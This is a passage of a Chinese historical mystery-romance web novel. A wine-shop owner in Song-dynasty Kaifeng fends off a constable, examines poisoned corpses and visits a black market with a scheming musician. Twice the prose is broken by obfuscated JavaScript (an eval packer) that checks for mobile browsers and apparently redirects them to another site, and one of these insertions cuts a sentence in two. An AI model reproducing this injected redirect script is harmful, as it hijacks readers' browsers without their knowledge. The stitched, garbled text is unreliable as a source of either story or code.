她手指沾了药粉,按在他的伤口上,刺痛令他微微躲了一下,他趁机放大了自己的反应:“嘶……啊……” 许知非手一停,对这样的反应了然于心,无动于衷,看着他,表演…… 右手衣袖里明明有更重的伤,连哼都没哼一下,磕破点皮在这挤眉弄眼,真是幼稚到家了。 她手上沾着药粉,站着等,等他演完…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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楼上琴声未消,林修站在角落里,盯着堂里每一丝动静,像个一丝不苟的监工。 青禾捧着账本,站在许知非身边:“后院那个池子怎么了,还未动过,那姓林的说要留作证据。” 许知非道:“拿木板盖起来,立个牌子,写上:‘水池脏污,不可饮用’,免得后面进来个谁偷摸喝死了又要赖咱们。” “有毒?”青禾即刻反应过来。 “对,但不是立即致命的,跟杀害钱员外的毒很像,慢毒,需催化。” “那万一是嫁祸呢?!” “所以不能让任何人知道,封起来,不要声张。”她顿了顿,又道,“我有办法。” 酒坊大门人流不断,开封府的雷捕头阔步而入,大声道:“诸位父老,雷某奉命查问那边撷芳阁起火一事,火起前,有人看见一个形迹可疑的女子出入撷芳阁,更夫亦报,看见两个人从风月楼后院角门跑出去了,其中一人头上有伤,不知诸位可曾见过?” 他身后跟着两个差役,按着刀,撞开了四五个客人,许知非眼神一利,大步走过去,拗粗了声音大声道:“按律,街巷人众中,无故走车马者,笞五十1),尔等持械入市,未鸣锣示警,于酒市人众中疾行冲撞,该当何罪?” 两个差役骂骂咧咧:“爷办的是风月楼纵火大案!你敢阻挠?!怕不是心里有鬼!” “纵使缉拿钦犯,亦须遵令,公人人市,不得惊扰良善,违者主司杖八十!此其一……”许知非看了雷捕头一眼,厉色道,“‘入国不驰,入里必式’,2)意为:入百姓聚居处不可疾驰,入闾里须俯身表敬,差官身负王化之责,岂能先违圣人之礼?” 雷捕头沉声道:“许坊主,你这反应……莫不是真有什么见不得人的东西?听闻……许云洲许公子,今夜曾在风月楼抚琴,他如今人在何处?” 13. 莫辨 果然,讲道理没用…… 许知非冷笑:“许云洲?雷捕头来得正好,我们东家今日兴致好,到他风月楼听曲,好心助兴,他手里可是宫宴才配得上的曲子,谁曾想竟遭此劫难,回来时一脸的血,我正要想着明日到开封府递状,告他风月楼经营不善,致人受伤的罪名。也不知他风月楼是嫉羡我们生意好,还是另揣着什么私仇?如今是恶人先告状?” 二楼西厢琴声未止,韵律流转,丝毫不受此间所扰,雷捕头客气了些:“许坊主,你别紧张,我等是来问询些情况,没有别的意思,可否请许公子一见?你看他还在抚琴,想来并无大碍?” “我一介草民,仰赖许云洲才保住了这点子家底,要不紧张很难。再说了,定要有了大碍才有理吗?他头上受伤了,怕是经不起雷捕头一番盘问,风月楼烧了那是他自己防火不慎,与旁人何干?还特意找上我家来,怎不见他找别家?难不成是要赖到我头上?若真是我多想了,还劳雷捕头把那掌柜找来,与许云洲赔个不是,他那性子颇良善,大概还是愿意帮他查查有无贼人蓄意破坏的,但如若不行,那我们还是在开封府当堂对峙,免得在我这小地方又生出些旁枝差错来。” “这……”雷捕头憋了口气,目光扫过满堂百姓男女,咬了咬牙。 青禾抱着账本,走到许知非身边:“按律,诸营造店铺、邸店者,需设逃火道,备水瓮,违者杖八十,敢问他撷芳阁三楼火道何在?我早前去沽酒,趁着闲暇走过几次,并没看见。” 旁边一酒客举了举酒杯:“大人,市肆走水,主家应导引宾客避散,违而至伤者,以过失论,小的开过几年脚店,你们当时也是这么说的,若逃走的一男一女是宾客,那他风月楼便是未尽疏散之责,若不是宾客,那他们不就是窝藏可疑之人,如今却要诬陷无辜伤者?小人有一说一……拙见啊,这听着就像是那楼里的掌柜诬告反坐,监守自盗啊!” 雷捕头一时哑口,堂间登时议论又起,他终究不耐道:“雷某亦是职责所在,更夫说火起之后,那女子便不见踪迹,似跟一个男子逃了出去,那男子身形样貌颇似许公子,那女子背影与许坊主又有七分相似,故而孙大人令雷某寻到了这里,意在问询,并无扰诸位兴致的意思。” “今夜新曲开缸,在下一直跟青禾在后院忙活,亥时入库封坛,赵伯和青禾都可作证,但若你说他们都是我的人,说的不算,那我自然百口莫辩。”许知非面色不改,说得像真的一样,目光炯炯,看着雷捕头那双鹰眼,“至于一个女子身形背影像我……”她做出一副懊恼又嫌弃的表情,“许某自幼体弱,深居简出,路人皆知,我这身形确实单薄些,但雷捕头大可去验户籍文书,或问问左邻右舍,这些年是不是见过我……”男人的那点邋遢事,她做出一些难以启齿的表情,看了看邻近的客人,尴尬一笑,又道,“许某究竟是男是女,应当不难辨明。” 雷捕头噎了一下,正要再说,堂间琴声戛然而止,许云洲一袭素影飘然落下,左侧额头上一块伤痕尤其扎眼,站定后还与几个熟客拱了拱手。 “雷捕头带的人剑拔弩张,却说只是例行公务,自然难以服人。”他目光落在那两个差役身上,神态温和如常,“方才冲撞良善者,许某回头是要到孙大人那里说上两句的。” 客堂里传来几声短促的笑,各式交谈不知何时都静了下去,偶尔有些杯盘碰撞和桌椅挪动的声响,两个差役看了看四周,窘迫后退,目光投向雷捕头。 “许公子,此事确乃公务,还请行个方便……”雷捕头神色稍缓,抱了拳。 许云洲挡在许知非面前,眼中含笑:“正因是公务,才需格外谨慎,许坊主方才所说……没错。”他微微倾身,靠近他,压低了声音,“在下受邀为兵部李员外郎的私宴抚琴,此事是不能声张,你亦是不该知道的,火起时,宴席未散,在下与李员外郎一同从东侧逃生,恰好看见了些情形,你自己斟酌上报,免得招惹祸事。” 雷捕头脸色一青,怔怔看着他:“许公子请讲。” 许云洲直起身来:“更夫看见的翻墙而出的负伤者……不是我,若没记错,应是李员外郎一个贴身护卫,我看见掉落的灯架砸了他的头,至于女子……”他微微一笑,似有些难以启齿,低了低头,“雷捕头不妨问问风月楼的掌柜,昨夜唱曲的有一名扬州乐伎,倒是跟许坊主差不多高,误闯了宴席,还是我指的路。” 雷捕头脸色变幻,目光转向许知非,抱拳道:“既如此,是雷某唐突了,许坊主,得罪。” 就这样就想走了?许知非眼色又利了三分:“你得罪的不是我,是许云洲,在坐都知道,他是汴京有名的雅士,如今伤成这样,诸位也都看到了。还请雷捕头转告,让他风月楼东家带着药资赔礼登门致歉,并立字据整改自身,否则小民便不得不持验伤格目与房中律典抄本,到开封府去击鼓鸣冤了。” 许云洲抬手扶额,眉心一锁,做出一副极痛而眩晕的姿态,一下扶住了身旁一张木桌:“无妨,雷捕头公务要紧,在下小伤,多休息些时日便好,只是花火节的宫宴,怕是要与陛下告罪了。” 雷捕头呼吸都着急起来,连忙扶住他,身后两个差吏手忙脚乱,争抢着找来的椅子,三个人伺候他坐下,方才松了口气。 许云洲看起来像要昏过去,雷捕头又对许知非抱了抱拳:“风月楼一事,本捕定会查问,劳许坊主照看许公子,莫再生了差错。” 许知非看了许云洲一眼,也像个男人一样抱拳:“雷捕头有心便好,伤情简述和用药单子我明日让青禾一并送过去。” 雷捕头一挥手,带走了两个尖嘴猴腮的差役,堂内酒客一片欢呼,紧随而来的是议论声。 “原来许公子也在啊。” “我刚才听到一点儿,说是兵部的李员外郎私宴。” “哦!怪不得雷捕头走得痛快。” 许知非扶许云洲起来,耳边满是这些窸窸窣窣的声音。 许云洲额角伤口血色狰狞,脸上一副“人前模样”,一臂挂在她肩上,脚步拖沓,像要站不稳似的,却仍对跟他打招呼的人彬彬有礼,目光投向他处,嘴里低声道:“许坊主何时懂的宋律?” “宋人自然懂宋律。” 她总不能说是原身自带的记忆,而她懂律法是因为想要报仇,满脑袋里横七竖八全都是不能说的。 许云洲低头看她,张了张嘴,像是欲言又止,最终点头:“若是人人都懂,那这世道想是能太平不少。” “他方才冲撞我的客人,我势必要与他争辩几句,哪有这般横行霸道的官差?与土匪何异?” 青禾拍了拍手里的账簿:“说的对,客人才是咱们的衣食父母,官?除了要这要那,拿咱们的生计争他们的道理,还能做什么?” “青公子说得好,许某亦是这样想的。”许云洲松开许知非,站直了身子,对着青禾就是一拜,恭敬得夸张。 青禾一脸嫌弃道:“我姓沈,什么青公子,会不会说话?” 许知非低笑,回头看了看林修,人倒是还站在原处,可她当时怀疑过,他可能是睁眼睡觉,那种明明在眼前,但好像就是不在一个世界里的神情,她总觉得有些诡异。 “诶,听说那风月楼的乐伎前两日结伴去典当金银首饰,真的假的?” “真的真的,我亲眼瞧见了,就是马行街那边的抵当所,‘解’字幌子最红最高那家。” “你别说,他们家酒水都少了,时常买不到,我估摸着客也不比早前多啊。” “我东家是做绢帛生意的,这两个月常说他们家结账拖延,看来是真不行了,这火啊,搞不好就是得罪了什么人哦!” 客堂里又恢复了热闹,说什么的都有,几个伙计又忙起来,赵伯从厨房又端出一碟菜。 许知非慢走细听,往厨房去,许云洲跟在她身后,目光胶着在她脸上,她稍稍侧目,他便瞬间躲开,看向别处。 后厨一个伙计在炒菜,许知非上前看了看:“这菜炒得好香。” 那伙计把菜装盘,抬头本是笑着,却在看见许云洲的一瞬脸僵住,低头道:“坊主满意就好,小的这就去送菜。” 许知非回头看了看,不就是一副人面兽心的模样嘛,有这么吓人? 炉头还温着,菜香还没散,她拿起锅铲碰了碰铁锅边缘,发现干净得不像炒了一天的锅。 她放下铁铲,转身靠在灶台边,伸长脖子看了看许云洲身后,确认那伙计出去之后没人再进来,问道:“兵部李员外郎,真的还是瞎编的?” 许云洲趁势往前,双手撑开在她两侧,将她困于身前:“真的,但他不在风月楼,在城西别院。”他看着她的眼睛,笑里满是狡黠,带着些讨赏的傲气,“不过雷大郎不敢到兵部去核对,他连说出去都不敢。” 许知非脖子往后缩,左右看了他这姿势:“一会儿有人进来,你就是那断袖的人了。” “坊主若不弃……区区一个断袖的名声……我消受得起。”他神色一转,眼中狡黠尽散,化作一片烟雨像要将她吞下,那话说到最后竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100446|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了气音。 许知非一下愣住,眨了眨眼,怎么像是她欺负了他似的,这是快哭了?不就说说嘛,听说艺术家通常都有点心病,那这算是敏感型还是焦虑型? 可这姿态怎么看都是他强人所难了些吧……她侧开脸,挪了挪位置,防着他再靠近,留出一个自己能脱逃的空间:“你消受得起就去消受吧,我消受不起。”她身子又往后仰了一点,意在保持距离,“……起开。” 许云洲慢慢起身,双手指尖一点点从灶台边上滑下去,像关节松落了一样垂在两侧袖子里,站直之后仍看着她:“坊主早些休息,这几日,多留心生面孔。” “我会的,许先生弹琴的手艺别忘了兑现,说好以你琴艺入股,白纸黑字可是写明的,告到开封府也是我在理。” 许云洲笑道:“坊主放心,白纸黑字,许某亲手画的押,就算放到御前,也都是坊主的理。” …… 两天后,三月廿六,风月楼的岑掌柜当真来了,还带着大礼,两个小厮抬着,清早登门。 “许坊主,你与许公子交好,还请说说好话,让他帮帮小店,开封府查验过了,有一具女尸,但仵作说,她是遭人毒死的,不是烧死的,我怀疑,是有人在小店行灭口之事啊!” 他圆脸微须,身着栗色绸衫,拇指带着个成色一般的翡翠扳指,眼下明显泛青。 他把一个布包推到许知非面前:“这是许公子的药资和压惊钱,一百两足色官银。” 许知非刚睡醒,青禾和赵伯连同那些伙计刚睡下,唯她一个迷迷糊糊坐在客堂里,靛青的男装布料清简,低眸似冷落状。 她实则脑中迷蒙未消,粗略判断这人是来找帮手的,看样子并没有什么见不得人的心思,若那池子里的水是他找人下的毒,那他不必来自找麻烦。 她点头:“嗯,你说得有理,那女尸有何特征?认识吗?最近有没有得罪了谁?” 岑掌柜摇头:“在下不知啊,根本不认识她,但火场唯有她一人尸骨,虽是万幸,但难道不怪吗?” 只她一人?许知非眼睛亮起来。 当时的情况,怎么可能只死一个人,就算许云洲安排了人手,这也未免有些过于不实际。 岑掌柜双手交握,蹙眉低头:“这要是官府查下来,抓不到凶手,那便就是我一人的罪责,到时候,一层层刑罚赔款,别说重起家业,我一家老小怕是衣食难保啊。” 他像忽然想起什么,重重跪下:“许坊主,听闻你会验尸,是帮开封府断了钱员外那桩案子的,在下求你拉一把,日后风月楼若能再起,我家老小必感念你一份恩德啊!” 他说着就要磕头,许知非连忙拉他:“别别别别……你先起来。” 许知非扶他坐回去,低声询问:“可能辨出女尸身份样貌?” 岑掌柜摇头叹气:“就是不能,辨不出,都烧焦了……” 许云洲在房中换药,前后窗户都开着,右臂刀口已结痂,他粗略上了药,几个察子从后院一侧翻窗而入。 “公子,卑职无能,没能救下那老妇。” “细说。”他用布条把手臂缠紧,用力一拉,眉心微微拧了一下,咬紧了后槽牙,左手手指勾着布条,利落打了个结。 另一名察子道:“那老妇入了三层东南一处暖阁,听声音是与谁对饮交谈,但具体是什么内容,属下在门外丝毫听不清楚,而不过半柱香,里面就炸出一团火来。” 又一察子接话道:“是啊公子,有两个弟兄都烧伤了。” 许云洲目光落在他身上,停了半晌:“还有呢?” 几个察子抬头看他,都有些慌,其中一人又道:“还……还有,三楼宾客开门出来后一瞬,那老妇所处的暖阁才爆出火来,那些人像是知道有事发生,出来之后在廊道上张望,爆炸后,才慌忙逃向楼梯,火势是在他们都逃出去之后,才蔓延到二楼,最后,人都逃出去了,整座撷芳阁才最终烧塌,像是有人布局操控。” “看见什么人了吗?” “没……没有……” 几个察子低下头去,不再说话。 许云洲站起来,理顺外袍修摆:“火场情况如何?” “只有一具女尸,应是那个老妇无疑。” 许云洲指尖轻叩腰带上的翠玉:“循着昨夜风向,看看其他线索,把官面文章送来,只要盖过印、录过册的。” 几个察子领命而去,许云洲拿起一块软布,站在案前擦拭琴上灰渍,客堂里,岑掌柜还在诉苦。 14. 梁门 “实不相瞒,三月前,岑某通过些路子,借了一笔印子钱,利滚利至今已是压的喘不过气来,楼里姑娘们的胭脂前,都已赊了两个月了。” 许知非将信将疑:“风月楼向来生意红火,掌柜怎还要借印子钱?” 岑掌柜重重叹气:“许坊主啊,你说这世道……”他一拍桌子,似乎下了某些决心,眼神往两侧撇了一下,确认堂中没有旁人,怨气一下上了脸,“自打王相公提起新政,闹起来,朝堂上,天天吵得像是瓦舍三分,我们这些做偏门生意的,真是里外不是人啊!” 他掰起手指来:“清流老爷们,以前每月至少有五六位翰林学士、御史台的大人,来楼里诗酒雅集,如今?个个缩得像那鹌鹑!司马学士门人上月私下传话,非常之时莫授人以柄,不就是怕遭人参上一本‘狎妓饮宴’嘛!可他们不来,咱们楼里的雪玉酒、鲈鱼烩,卖给谁?” 他双手往膝上一撑:“只有转让配额这一路,可这也不是长久之计,新党来得勤,不寻欢,带着账簿、舆图,包了暖阁通宵算账啊!户部那个刘郎中,上月来了五趟,每趟都催问:‘阁中可有河北路口音的乐伎’,他哪是找乐伎,是打听辽国商队情报呢!酒水钱?记账!姑娘的缠头?打白条!临走还撂话:‘风月楼若能为国事出力,日后少不了好处’,呸!画饼充饥!” 他说到这里抹了一把泪:“本想着熬过开春,熬到花火节,人多起来有些周转到手,谁知一把火……”他又擦了擦眼角,“楼烧没了,姑娘伤的伤跑的跑,开封府就着那女尸的身份是不肯放过的意思,如今真是走投无路才寻到你这啊。” 许知非细察他情状,不像做戏,问道:“你想要我如何帮你?若要重修,税监恐怕趁机加征火损重建捐,我店小,你出不起的钱,我更是出不起。” 岑掌柜从前襟内袋里摸出一卷纸来,一张张有新有旧,边角不齐,密密麻麻都是字。 他把那些纸一张张摆开在桌面上,一张张摊开铺平:“这些记录,我原本留着保命,”他摆好之后苦笑,“如今想明白了,这是环壁其罪……许坊主和许公子,都是有手段的人,这些或许对你们有用,我只求一件事,”他抬眼看向许知非,“帮我做个局,让风月楼合理查封,但不是大火的原因,而是……查出前朝禁书,或涉嫌私酿违禁酒,要罚没,就罚没个干净,让我带着老小换个名字、换个地方,开个卖粗茶淡饭的脚店,至少……夜里能合眼,不惹那是非恩怨!” “刚才还说若重建了会记得我的好,原来是根本没想着要记得?”许知非刻意岔开话,争取些时间思考。 她撇了他一眼,去看那些纸,上面字迹皆是罪证。 “周枢密使外宅管事借撷芳阁一室宴请辽商,提及边贸榷场新规。” “三司盐铁副使携将作监匠师密会,遗落火器监物料申领单残页。” “监察御史里行与河北路进奏院孔目争吵,提及军器监案卷宗调包。” 岑掌柜正要解释,许知非开口道:“岑掌柜,你想重振旗鼓还是退隐江湖我都管不着,但你若真想金蝉脱壳,有没有想过,”她指尖点了点桌边上邻近她手边的那张纸,“有人既能为灭口火烧楼阁,这要是发现你逃,会不会直接用火烧人?” 岑掌柜脸色灰白,重重坐下:“这……这……” 许知非把桌上纸张一一收好,叠整齐,还给他:“这些,你收好……五天后,我再给你答复。”她站起来,低头看他,“你若真有难处,我酒坊赊你五十坛薄酒,三十石糙米,大概能帮你撑过官府查勘这几日,但作为交换……” 她细想了一番案件所需,接着道:“你风月楼废墟里所有未烧尽的纸张、器皿、衣物残片,三日内全部运到我酒坊后院,一片、一角,都不许少。” “你要那些做什么?” 许知非抬头看向二楼西厢的方向:“废墟、灰烬里,最脏最乱的地方,往往有最真的真相,比盖印的明账更真切。” …… 入夜,春风酒幡门前灯笼轻晃,人影在暖光下显得愈加稠密,门内客堂沸反盈天,新出缸的澄心酿酒气混着卤煮羊杂浓香扑鼻。 堂内几乎满座,许云洲在角落里抚琴,许知非核对完最后一笔昨天的账,把账本推给了青禾。 “今日几个生面孔卖的酒加注一下,特征、口音,都要……”她低声吩咐,又看了一眼满堂的宾客,“你与赵伯看着,我去一趟梁门,进些新酒坛回来。” 青禾接下账本,她便回房换上了女装,襦裙边摆在火场烧出了几个小洞,但不显眼,她粗略检查了一下,又从那个乌木药箱里翻出了一把防身小刀和一些验毒工具,虽然并不清楚原身收藏这些到底是做什么,但刚好能用。 她看了一遍那张坊巷图,手指描出了一条隐蔽的路线,偷偷出门。 走到御街西面一条横巷,她听见身后有人走向自己,步调淡定,没有要掩饰踪迹的意思。 她回头,许云洲一身青灰长衫徐徐走来,神情尤似闲逛夜市,误打误撞走到了这里。 这人不是应该在店里弹琴吗?怎么还出来了?说不是跟踪都没人信,偏偏还一副若无其事的样子。 “你跟来干什么?” 许云洲朝她走来:“你不能自己去。” “我逛个街也不行?” “不行。”他停在她面前,望向梁门夜市依稀可见的楼台灯火,笃定道。 他绕过她,走在她前面,不急不慢,梁门夜市浓雾怪异,不像是自然形成的,零星的油纸灯在一个个摊位上方摇摇晃晃,人影如织,大多数蒙面或戴了斗笠帷帽之类,少数露脸的也有贴了假面皮的痕迹。 她稍稍低下头,这样的地方,有认出她的样貌怕是一点都不奇怪。 摊位上,货品皆蒙了黑布,银钱过手都用布盖着,许知非略看了几处,没注意到许云洲已退到她身后,一绢面纱从她眼前落下。 “这样会不会更正常些?”他把系绳系在她脑后,轻轻打了个结,低声细语。 许知非略扫了一眼脸上的黑纱:“你准备好的?” “有再大的本事,也不要在这种地方横冲直撞……你倒好……还想到这里来逛街……当真是初生牛犊不怕虎。” “你才是牛。” “什么?我是礼物?许某多谢坊主青睐。” 不知是真听不清还是故意调侃,许知非白了他一眼,发现前面不远处有一个铺子,匾额是“百器杂陈”四个字。 店主是个独眼,坐在柜台前,像在看什么图纸,许知非进门时,他没有抬眼,只道:“客官随便看。” 他语气懒散,许知非稍稍打量了一下,目光落在货架上的几把小刀上。 “要鹤嘴钩一个,银针一套,柳叶刀十五把,水晶透镜一个,瓷胆瓶四对。”许云洲看着那个店主,目光往下,落在他面前书页上,“给个价。” 那店主在看的是一部类似《武经概要》的东西,听见他说话,抬眼,却是看向许知非。 “这位娘子要的物件老朽都有,但这价钱……”他抓起手边一把算盘,拨出一个数目,推在柜台边上。 许知非回头看着许云洲:“你怎么知道我想找什么?” 许云洲唇角微勾:“……猜的。” 那算盘上是个骇人的数目,许知非看了直皱眉:“这也太贵了些,你们怕不是一伙的。” 许云洲从怀中取出一块乌木令牌:“抵一半,五日后,凭此牌去王楼四层东厢淋雪阁取余款。”他走向柜台,把木牌放在店主面前,特意敲了敲。 那木牌边缘刻着半朵莲,店主看了看:“原来是王楼的生意,”他抬眼盯着许云洲的脸伸手,把木牌收走,揣进自己衣襟暗袋里,“这些物件确实该用在正经处。” 他从身后的木屉里取出一个盒子,放在柜台上,随手打开,转向许知非:“器具俱全,都是最利最精的手艺活。” 许知非盖上收下,许云洲已不知从哪里提了个灯笼走出门去。 她快步跟上:“王楼不是酒楼吗?怎么木牌还能抵钱?” “王楼的木牌除了代表宾客等级身份,还能在汴京内外抵价抵赔,他们东家欠我些人情,赠我时便是这样说的,没想到真的管用,连梁门也不例外。” 前面州西瓦舍里,女子相扑演斗正酣,台上赛关索与笑面罗刹缠斗激烈,台下赌客喝彩连连。 许云洲带头挤到前排,貌似不经意,给许知非腾出了个位置。 赛关索一记锁住对手脖子,观众呐喊迭起,但她却忽然浑身一僵,瞪大了眼,眼里涌出血来,直直砸倒在地面上。 台板地下是空的,“砰”地一声巨响,许知非眼一眨,身旁观众都愣了一瞬,接着便四散奔逃。 许知非则下意识地往前走,她想上台去看看,活生生的人命,搞不好还有救。 可逆流难行,她挤得踉跄,就要跌倒的一瞬,有人拉住了她:“姑娘借一步说话。” 她抬头一看,是个生相凌厉的男子,身形壮硕,目光炯炯,说话不像汴京本地人。 “放手!”许云洲从旁掐住了他的手腕,那男子却在看见他时咧嘴一笑,药粉带着异香飞散开,许云洲和邻近几个路人皆脚步摇晃,看的出是瞬间天旋地转,好烈的毒…… 那男子将许知非扛起来,跑向瓦舍侧门一条甬道。 许云洲勉强睁眼,喊声哑在喉咙里,难以出口:“知非!知非……” 许知非紧紧抓着手里的工具盒子,那男子把她放下之后一下蒙住了她的眼睛,手脚利落,是熟手。 可他并没有要绑她或拿走她手里的东西,还算友好? 接着他按住她的肩,一面推她走,一面说道:“许娘子恕罪,卑职听命行事。” “你是谁?” “不便说,说了要杀头,许娘子跟卑职离开那等是非之地便可。” “什么意思,你们知道那里会出事?” 许知非猛地停住,果然,他不推她。 那男子像是叹了口气:“许娘子,听闻你会验尸?” “怎么,不能会?”当然不能,许知非明知顾问。 “许娘子,坊间对你的传言分作两派,一是你背景了得,不止有许云洲这一 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许知非平淡道:“你怎么知道我说的就是真的呢?”她目光落在那几处血迹上,“你说的又有几句是真的呢?我如此一个微弱之人,还不是随波逐流混到了今日?许先生,你没让孙大人再审问我,而是直接放了我,又是什么目的?你大可明说,我不一定会不配合。” 许云洲渐渐扬起笑意:“许坊主,酒坊如今算是有生意做了,搞不好还能吞了风月楼,又何须管什么名声是非?” “名声是非?在你眼里这只是名声是非?公道呢?真相呢?枉死的人还没有安息呢!现在……是不是又多了一个?还是……两个?” 她指向倒地的男子,脖子歪斜的角度很奇怪,已断了气。 “你凭什么这么做?是他罪已致此吗?” “……凭他活着就会害死你。” 许云洲笑意不改,而她终于知道这神情有多可怕了,他好像不论何时……都笑得出来。 “害死我?” “他是来套你的话的。” “但我说的是假的。” “不论真假,只要你说了,你就没有必要存在了,他们只要一个答案,真还是假,不重要,能交差就行,而为他交差的,就是你自己。” “……谁是他们的上级?” “周铎。” 他说的很平静,像是早就看透了一切,眼神释然,对许知非的话,对自己的每一个行为,无动于衷。 “你是怎么知道的。” “你觉得呢?” 他把问题还给她,还是一副温润公子的姿态,而她确实拿他没办法。 “好,就算是旧党已然看不惯我,那你说,那个女颭,又是怎么回事?” “这是从她身上搜出来的。” 他从袖中取出一卷纸,是辽文与汉文混写的货单。 “金枫露二十两,已兑青玉环佩一对。” “火药三十斤,混入漕运石炭船,标记‘太原府贡’” “三月末,鬼市开时,百花楼验新货。” 许知非一张张细看,低声道:“这百花楼……” “别多想,鬼市开时,一个炼药的铺子。” “……鬼市什么时候开?我以为……说的是夜市。” 许云洲低笑:“我知道,”他侧开一步,示意许知非往前走,又道,“鬼市在每月廿七,明晚,我们再来,今夜,还请坊主稍安勿躁。” “那这人当如何?”她看向地上男子尸首。 “他是有人领的,为了把祸事引到你头上,周铎不会不管他死活。” 梁门夜市街口怪雾未散,官差抬尸的人影从巷口一闪而过,两人一路往东,尽量避开了人多的地方。 许知非走得很慢,莫名的无力感将她压得异常疲惫,这里的一切都跟原来一样,没什么意思,没什么区别,人类的社会,自古以来就不曾完美,修修补补,磕磕绊绊,改朝换代,好没意思…… 许云洲走近她身侧:“那些抬尸的是开封府的人,转收无人认领的尸首,那具女尸会在义舍停留两日,若无人认领,便烧了。” 许知非看着地面隐约可见的砖石,一块块踩过:“他们连验都不验吗?” “验了也无用,这种事情牵扯大了,就会被大事化了,若小,更是不值一提,如若牵扯辽人、赌盘、军器,验出真相才是他们的麻烦事。” 她猛地转身,抬头看他,眼底似含冰刃:“那她就这样无声无息就没了?藏在后面的人就这样逃之夭夭?甚至……歌舞升平、安然无恙?” “许坊主,你可知为何验尸在律例里单列了一篇,却令州县官酌情从简?”他顿了顿,似乎有些无奈,“因为真相太贵,就好像明明认真研讨商榷是可以很快解决的事情,很多人会选择嘻笑带过,亦或是怨怼几句任其发展。同样的道理,查一具无名尸的源头,要动用药市、黑市、榷场、边军四重关系网络,掀一个瓦舍赌盘,会扯出背后三品以上官员的干股,若再深挖,就是辽人……关乎两国博弈。” 他忽然抬手点了一下她蹙紧的眉心:“但你若真想给她个交代,也有办法。”他又挂起了那一脸的温和,“你的背景,许你带上新得的器具,去义舍,那具尸首,会等你验过才烧。” 15. 多劳 第二天她顺利去了义舍,那女颭同样死于一种混合毒物,需催化起效。 她把最后一把刀扔进水盆里,抓起一块已染得血迹斑驳的布擦了擦手。 老仵作站在门边瑟瑟发抖,碎碎地念:“不合规矩,不合规矩啊……” 许知非当没听见,把尸首重新盖好,许云洲这才拍了拍他佝偻的肩背,与他说:“规矩是给活人看的,死人只想要真相。” “老伯在此当职多久了?”许知非忽然开口,眼前人虽老,但,若是为老不尊者,也不需留他尊严。 老仵作比了个三的手势,那三根竖起的手指枯若柴火,关节有些过度的弯曲,明显的肌张力有问题。 他一字字重重说道:“三十年。” 他像是觉得“三十年”这三个字足以证明自己的权威,但许知非向来不吃这套。 “三十年,”许知非拿起桌上一本格目,面不改色,边写边道,“连猝死是什么模样都不知道,老先生这三十年算是白干了。” 她写完,把本子小心收起,笔轻轻放在桌上。 老仵作犹豫道:“猝死之人……口鼻干净。” 许知非轻笑:“猝死,尸斑应在身体低下处形成坠积期,十二时辰内指压不褪色。” 老仵作哑口,额角出了一层细汗。 许云洲温声道:“曾老年事已高,有疏漏也属正常。”他将老仵作挡在身后,“义弟既看出疑点,不妨说说,她到底因何而死。” 许知非淡淡道:“她身上尸斑浅淡,位置异常,绝非正常猝死,心口处有一片蛛网状暗色血纹,乍一看像皮下淤血,但太过规整。” 她再次掀开盖布,手指轻轻点了一下那个位置:“这里,”她手指移向尸首左臂内侧,“还有这里……” 两个位置像是现代针管注射留下的硬块,但她不能这样描述,蹙眉道:“不是磕碰……” 她又碰了一下尸身颈部:“尸僵其实并程度不对,按理说,从昨夜算起,按这样的天气,尸僵应已达到高峰,甚至开始缓解,可她现在,关节僵硬如铁,且僵硬分布异常,集中在躯干和四肢近端。” 许云洲走近细看:“义弟的意思是……” “被人毒死的,而且,是在倒下之后才毒发的。” 许云洲唇角微勾,转身去开门:“曾老可以回去歇息了。” 许知非道:“猝死的格目,敷衍的仵作……”她看着老仵作走出去,继续道,“你早知道她不是正常猝死,对吗?” 许云洲把门关上,回头道:“我知道她死得蹊跷,但我需要你亲眼确认,而非听我转达。” “为什么?” “因为你的判断比任何人都可信。” 许知非指了指尸身心口和手臂位置:“像是人为造成的毒疮,但我无从得知来历。” 她盯着他,那张温润皮囊下没有一丝漏洞,可他情态动作太过从容不迫,似乎一切都在他的掌握之中,连她的每一个反应也在他的评估之内,根本不需要惊讶。 “军器监当年……有些违禁炼药的账,你父亲应是知道的,当时的督造,就是现在的枢密使周铎周大人。” “什么药?” “此毒名为自噬,注入三日浮肿,七日溃烂见骨……曾有一批……药奴……昏厥后无法醒转,用药后暴毙。” “你为何如此了解?一个琴师,凭什么能让开封府甚至更多的官员陪你做戏?又凭什么觉得我会信你?” 许云洲笑道:“凭我若是你的敌人,你会走不出这个屋子,凭我纵有千般隐瞒,也从未将刀刃对准你。” 他将尸身上的盖布盖上,动作轻柔:“她不该死。” 许知非知道自己如今受制于人,咽了口气:“好,那你说,那货单上,‘金枫露’是不是一味当年炼出的毒剂,又或者,是改良过?别让我来猜。” “这我确实不知道,有些事,并不在我料想之内……”许云洲确认尸身盖好,抬眼看向她,“金枫露可以是任何违禁物,可能是毒,也可能是别的。至于火药,三十斤的量目标不会是商船,百花楼……今晚我带你进去,但你需全程跟紧我。” “我们现在有两条线索,一是钱员外,一是这个女颭……” “还有一条,那个姓薛的老妇,一定没死。” “你是说,风月楼的火,是为了让她假死遁逃?” 许云洲眼中寒芒掠过:“我觉得不是,她还不配,但我们很快会知道答案。” 他意有所指,率先开门出去,许知非紧随其后,他站在门边等她:“这里所见,不要与任何人说,你我知晓便可。” “那个老仵作呢?”许知非回头,看见他姿态优雅,关上了门。 “我明日会跟孙大人聊一下,到时候,把这个位置腾出来,归你。” “我?!”许知非瞪大了眼睛,“你不是说我开好酒坊就行了吗?” “你开好酒坊,与许娘子何干?” 许知非张了张嘴,没说出话来,这就是牛马啊!牛马到哪里都是牛马吗?!既要开店,还要上班? 